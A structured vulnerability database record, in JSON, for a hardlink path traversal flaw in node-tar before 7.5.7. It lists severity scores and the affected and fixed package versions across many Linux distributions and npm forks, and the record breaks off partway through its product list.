{"id":"CVE-2026-24842","aliases":["ALPINE-CVE-2026-24842","ALSA-2026:18480","ALSA-2026:18868","CLSA-2026-1773188129","CLSA-2026-1773533794","CLSA-2026-1773706632","CLSA-2026-1774830255","CLSA-2026-1787916963","CLSA-2026-1792074268","CLSA-2026-1792074305","CLSA-2026-1793307830","CLSA-2026-1793364175","CLSA-2026-1793365674","DEBIAN-CVE-2026-24842","EUVD-2026-4909","GHSA-34x7-hfp2-rc4v","GHSA-r292-9mhp-454m","RHSA-2026:18480","RHSA-2026:18868","RHSA-2026:33371","RLSA-2026:18480","RLSA-2026:18868","ROOT-APP-NPM-CVE-2026-24842","UBUNTU-CVE-2026-24842","openSUSE-SU-2026:10410-1"],"status":"published","title":"node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal","description":"node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.","severity":{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00608,"percentile":0.49554,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-59"],"published":"2026-01-28T00:20:13Z","modified":"2026-11-03T06:32:53Z","fixes":[{"ecosystem":"npm","package":"tar","fixed_in":["7.5.7"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.23","package":"pnpm","fixed_in":["10.33.4-r0"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-tar","fixed_in":["6.2.1+ds1+~cs6.1.13-10"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"tar","fixed_in":["6.1.11-aikido.10","7.5.1-aikido.12","4.4.19-aikido.3","6.2.1-aikido.8","7.4.3-aikido.8","6.2.0-aikido.10","6.1.11-aikido.4","7.5.1-aikido.9","6.1.11-aikido.5","6.1.11-aikido.6","4.4.19-aikido.4","7.5.1-aikido.10","6.2.1-aikido.9","6.1.15-aikido.3","6.1.11-aikido.7","6.1.14-aikido.4","6.1.11-aikido.8","6.2.1-aikido.10","4.4.19-aikido.5","7.4.3-aikido.9","6.2.1-aikido.11","6.1.11-aikido.9","4.4.19-aikido.6","7.4.3-aikido.10","6.1.14-aikido.5","7.5.1-aikido.11","4.4.19-aikido.7","6.2.1-aikido.12","6.1.14-aikido.6","7.4.3-aikido.11","6.1.13-aikido.6","6.1.13-aikido.7","6.1.13-aikido.8","7.4.3-aikido.12","4.4.13-aikido.1","6.2.0-aikido.11","6.1.15-aikido.4","7.5.7-aikido.4","7.5.7-aikido.5","7.5.7-aikido.6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/tar","fixed_in":["6.2.1-root.io.3","7.5.1-root.io.3","6.2.0-root.io.5","7.5.1-root.io.4","7.4.3-root.io.3","6.2.1-root.io.4","7.5.1-root.io.5","7.4.3-root.io.4","6.2.0-root.io.6","6.2.1-root.io.5","6.2.1-root.io.6","6.2.0-root.io.7","7.4.3-root.io.5","7.5.1-root.io.6","6.2.1-root.io.7","7.4.3-root.io.6","7.5.1-root.io.7","6.2.0-root.io.8","7.4.3-root.io.7","7.5.1-root.io.8","6.2.0-root.io.9","6.1.11-root.io.3","6.1.11-root.io.10","4.4.19-root.io.2","7.5.1-root.io.12","4.4.19-root.io.3","6.2.1-root.io.8","7.4.3-root.io.8","6.2.0-root.io.10","6.1.11-root.io.4","7.5.1-root.io.9","6.1.11-root.io.5","6.1.11-root.io.6","4.4.19-root.io.4","7.5.1-root.io.10","6.2.1-root.io.9","6.1.15-root.io.3","6.1.11-root.io.7","6.1.14-root.io.4","6.1.11-root.io.8","6.2.1-root.io.10","4.4.19-root.io.5","7.4.3-root.io.9","6.2.1-root.io.11","6.1.11-root.io.9","4.4.19-root.io.6","7.4.3-root.io.10","6.1.14-root.io.5","7.5.1-root.io.11","4.4.19-root.io.7","6.2.1-root.io.12","6.1.14-root.io.6","7.4.3-root.io.11","6.1.13-root.io.6","6.1.13-root.io.7","6.1.13-root.io.8","7.4.3-root.io.12","4.4.13-root.io.1","6.2.0-root.io.11","6.1.15-root.io.4","7.5.7-root.io.1","7.5.7-root.io.2","7.5.7-root.io.3","7.5.7-root.io.4","7.5.7-root.io.5","7.5.7-root.io.6"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"pnpm","fixed_in":["10.32.1-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.5.7"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.33.4-r0"}]}]},{"source":"osv","ecosystem":"AlmaLinux:10","package":"sgx-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:10","package":"sgx-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:10","package":"sgx-mpa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:10","package":"sgx-pccs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:10","package":"sgx-pccs-admin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:10","package":"sgx-pckid-tool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:10","package":"tdx-qgs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:9","package":"sgx-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:9","package":"sgx-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:9","package":"sgx-mpa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:9","package":"sgx-pccs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:9","package":"sgx-pccs-admin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:9","package":"sgx-pckid-tool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"AlmaLinux:9","package":"tdx-qgs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.2-tuxcare.0"},{"fixed":"2.2.2-tuxcare.1"}]}],"versions":["2.2.2"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.2.1-tuxcare.0"},{"fixed":"6.2.1-tuxcare.1"}]}],"versions":["6.2.1"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.3-tuxcare.0"},{"fixed":"1.0.3-tuxcare.2"}]}],"versions":["1.0.3","1.0.3-tuxcare.1"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.1-tuxcare.0"},{"fixed":"2.1.1-tuxcare.2"}]}],"versions":["2.1.1","2.1.1-tuxcare.1"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.2.0-tuxcare.0"},{"fixed":"6.2.0-tuxcare.5"}]}],"versions":["6.2.0","6.2.0-tuxcare.1","6.2.0-tuxcare.2","6.2.0-tuxcare.3","6.2.0-tuxcare.4"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.2-tuxcare.0"},{"fixed":"6.0.2-tuxcare.6"}]}],"versions":["6.0.2","6.0.2-tuxcare.1","6.0.2-tuxcare.2","6.0.2-tuxcare.3","6.0.2-tuxcare.4","6.0.2-tuxcare.5"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.4.19-tuxcare.0"},{"fixed":"4.4.19-tuxcare.5"}]}],"versions":["4.4.19","4.4.19-tuxcare.1","4.4.19-tuxcare.2","4.4.19-tuxcare.3","4.4.19-tuxcare.4"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.1.0-tuxcare.0"},{"fixed":"6.1.0-tuxcare.4"}]}],"versions":["6.1.0","6.1.0-tuxcare.1","6.1.0-tuxcare.2","6.1.0-tuxcare.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.1.6-tuxcare.0"},{"fixed":"6.1.6-tuxcare.4"}]}],"versions":["6.1.6","6.1.6-tuxcare.1","6.1.6-tuxcare.2","6.1.6-tuxcare.3"],"bundled":2},{"source":"osv","ecosystem":"Debian:14","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.2.1+ds1+~cs6.1.13-10"}]}],"versions":["6.2.1+ds1+~cs6.1.13-1","6.2.1+ds1+~cs6.1.13-2","6.2.1+ds1+~cs6.1.13-3","6.2.1+ds1+~cs6.1.13-4","6.2.1+ds1+~cs6.1.13-5","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-8","6.2.1+ds1+~cs6.1.13-9","6.2.1+~cs7.0.8-1"]},{"source":"osv","ecosystem":"npm","package":"tar","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.5.7"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"linux-sgx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"linux-sgx-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"linux-sgx-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-enclave-devel-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-mpa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-mpa-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-pccs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-pccs-admin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-pccs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-pckid-tool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"sgx-pckid-tool-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"tdx-attest-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"tdx-qgs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"tdx-qgs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"linux-sgx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"linux-sgx-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"linux-sgx-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-enclave-devel-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-mpa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-mpa-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-pccs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-pccs-admin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-pccs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-pckid-tool","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"sgx-pckid-tool-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"tdx-attest-libs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"tdx-qgs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"tdx-qgs-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_eus:7.3::el7","package":"eap7-wildfly","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.3.18-3.GA_redhat_00001.1.el7eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_eus:7.3::el7","package":"eap7-wildfly-java-jdk11","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.3.18-3.GA_redhat_00001.1.el7eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_eus:7.3::el7","package":"eap7-wildfly-java-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.3.18-3.GA_redhat_00001.1.el7eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_eus:7.3::el7","package":"eap7-wildfly-javadocs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.3.18-3.GA_redhat_00001.1.el7eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_eus:7.3::el7","package":"eap7-wildfly-modules","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.3.18-3.GA_redhat_00001.1.el7eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_eus:7.3::el7","package":"eap7-undertow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.0.41-8.SP9_redhat_00001.1.el7eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_eus:7.3::el7","package":"eap7-apache-cxf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.10-4.SP2_redhat_00004.1.el7eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_eus:7.3::el7","package":"eap7-apache-cxf-rt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.10-4.SP2_redhat_00004.1.el7eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_eus:7.3::el7","package":"eap7-apache-cxf-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.10-4.SP2_redhat_00004.1.el7eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_eus:7.3::el7","package":"eap7-apache-cxf-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.4.10-4.SP2_redhat_00004.1.el7eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Rocky Linux:10","package":"linux-sgx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el10"}]}],"bundled":5},{"source":"osv","ecosystem":"Rocky Linux:9","package":"linux-sgx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.26-7.el9"}]}],"bundled":5},{"source":"osv","ecosystem":"Root:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.1.11-aikido.10"},{"fixed":"7.5.1-aikido.12"},{"fixed":"4.4.19-aikido.3"},{"fixed":"6.2.1-aikido.8"},{"fixed":"7.4.3-aikido.8"},{"fixed":"6.2.0-aikido.10"},{"fixed":"6.1.11-aikido.4"},{"fixed":"7.5.1-aikido.9"},{"fixed":"6.1.11-aikido.5"},{"fixed":"6.1.11-aikido.6"},{"fixed":"4.4.19-aikido.4"},{"fixed":"7.5.1-aikido.10"},{"fixed":"6.2.1-aikido.9"},{"fixed":"6.1.15-aikido.3"},{"fixed":"6.1.11-aikido.7"},{"fixed":"6.1.14-aikido.4"},{"fixed":"6.1.11-aikido.8"},{"fixed":"6.2.1-aikido.10"},{"fixed":"4.4.19-aikido.5"},{"fixed":"7.4.3-aikido.9"},{"fixed":"6.2.1-aikido.11"},{"fixed":"6.1.11-aikido.9"},{"fixed":"4.4.19-aikido.6"},{"fixed":"7.4.3-aikido.10"},{"fixed":"6.1.14-aikido.5"},{"fixed":"7.5.1-aikido.11"},{"fixed":"4.4.19-aikido.7"},{"fixed":"6.2.1-aikido.12"},{"fixed":"6.1.14-aikido.6"},{"fixed":"7.4.3-aikido.11"},{"fixed":"6.1.13-aikido.6"},{"fixed":"6.1.13-aikido.7"},{"fixed":"6.1.13-aikido.8"},{"fixed":"7.4.3-aikido.12"},{"fixed":"4.4.13-aikido.1"},{"fixed":"6.2.0-aikido.11"},{"fixed":"6.1.15-aikido.4"},{"fixed":"7.5.7-aikido.4"},{"fixed":"7.5.7-aikido.5"},{"fixed":"7.5.7-aikido.6"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.2.1-root.io.3"},{"fixed":"7.5.1-root.io.3"},{"fixed":"6.2.0-root.io.5"},{"fixed":"7.5.1-root.io.4"},{"fixed":"7.4.3-root.io.3"},{"fixed":"6.2.1-root.io.4"},{"fixed":"7.5.1-root.io.5"},{"fixed":"7.4.3-root.io.4"},{"fixed":"6.2.0-root.io.6"},{"fixed":"6.2.1-root.io.5"},{"fixed":"6.2.1-root.io.6"},{"fixed":"6.2.0-root.io.7"},{"fixed":"7.4.3-root.io.5"},{"fixed":"7.5.1-root.io.6"},{"fixed":"6.2.1-root.io.7"},{"fixed":"7.4.3-root.io.6"},{"fixed":"7.5.1-root.io.7"},{"fixed":"6.2.0-root.io.8"},{"fixed":"7.4.3-root.io.7"},{"fixed":"7.5.1-root.io.8"},{"fixed":"6.2.0-root.io.9"},{"fixed":"6.1.11-root.io.3"},{"fixed":"6.1.11-root.io.10"},{"fixed":"4.4.19-root.io.2"},{"fixed":"7.5.1-root.io.12"},{"fixed":"4.4.19-root.io.3"},{"fixed":"6.2.1-root.io.8"},{"fixed":"7.4.3-root.io.8"},{"fixed":"6.2.0-root.io.10"},{"fixed":"6.1.11-root.io.4"},{"fixed":"7.5.1-root.io.9"},{"fixed":"6.1.11-root.io.5"},{"fixed":"6.1.11-root.io.6"},{"fixed":"4.4.19-root.io.4"},{"fixed":"7.5.1-root.io.10"},{"fixed":"6.2.1-root.io.9"},{"fixed":"6.1.15-root.io.3"},{"fixed":"6.1.11-root.io.7"},{"fixed":"6.1.14-root.io.4"},{"fixed":"6.1.11-root.io.8"},{"fixed":"6.2.1-root.io.10"},{"fixed":"4.4.19-root.io.5"},{"fixed":"7.4.3-root.io.9"},{"fixed":"6.2.1-root.io.11"},{"fixed":"6.1.11-root.io.9"},{"fixed":"4.4.19-root.io.6"},{"fixed":"7.4.3-root.io.10"},{"fixed":"6.1.14-root.io.5"},{"fixed":"7.5.1-root.io.11"},{"fixed":"4.4.19-root.io.7"},{"fixed":"6.2.1-root.io.12"},{"fixed":"6.1.14-root.io.6"},{"fixed":"7.4.3-root.io.11"},{"fixed":"6.1.13-root.io.6"},{"fixed":"6.1.13-root.io.7"},{"fixed":"6.1.13-root.io.8"},{"fixed":"7.4.3-root.io.12"},{"fixed":"4.4.13-root.io.1"},{"fixed":"6.2.0-root.io.11"},{"fixed":"6.1.15-root.io.4"},{"fixed":"7.5.7-root.io.1"},{"fixed":"7.5.7-root.io.2"},{"fixed":"7.5.7-root.io.3"},{"fixed":"7.5.7-root.io.4"},{"fixed":"7.5.7-root.io.5"},{"fixed":"7.5.7-root.io.6"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1.18-1","0.1.18-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.3-2","1.0.3-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.1-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.4.10+ds1-2","4.4.10+ds1-2ubuntu1","4.4.10+ds1-2ubuntu1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.7+~cs11.3.10-1","6.1.11+~cs11.3.10-1","6.1.11+ds1+~cs6.0.6-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.13+~cs7.0.5-1","6.1.13+~cs7.0.5-3"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+~cs7.0.8-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+ds1+~cs6.1.13-10","7.5.22+~4.0.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+~cs7.0.8-1","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-10"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.32.1-1.1"}]}]}],"products":[{"vendor":"isaacs","product":"node-tar"},{"vendor":"isaacs","product":"tar"},{"vendor":"red hat","product":"cryostat 4"},{"vendor":"red hat","product":"logging subsystem for red hat openshift"},{"vendor":"red hat","product":"multicluster engine for kubernetes"},{"vendor":"red hat","product":"network observability (netobserv) 1.11.0"},{"vendor":"red hat","product":"red hat 3scale api management platform 2"},{"vendor":"red hat","product":"red hat advanced cluster management for kubernetes 2"},{"vendor":"red hat","product":"red hat amq broker 7"},{"vendor":"red hat","product":"red hat build of apache camel - hawtio 4"},{"vendor":"red hat","product":"red hat developer hub"},{"vendor":"red hat","product":"red hat enterprise linux 10"},{"vendor":"red hat","product":"red hat enterprise linux 6"},{"vendor":"red hat","product":"red hat enterprise linux 7"},{"vendor":"red hat","product":"red hat enterprise linux 8"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat fuse 7"},{"vendor":"red hat","product":"red hat hardened images"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 7"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 7.3 eus for rhel 7"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 8"},{"vendor":"red hat","product":"red hat 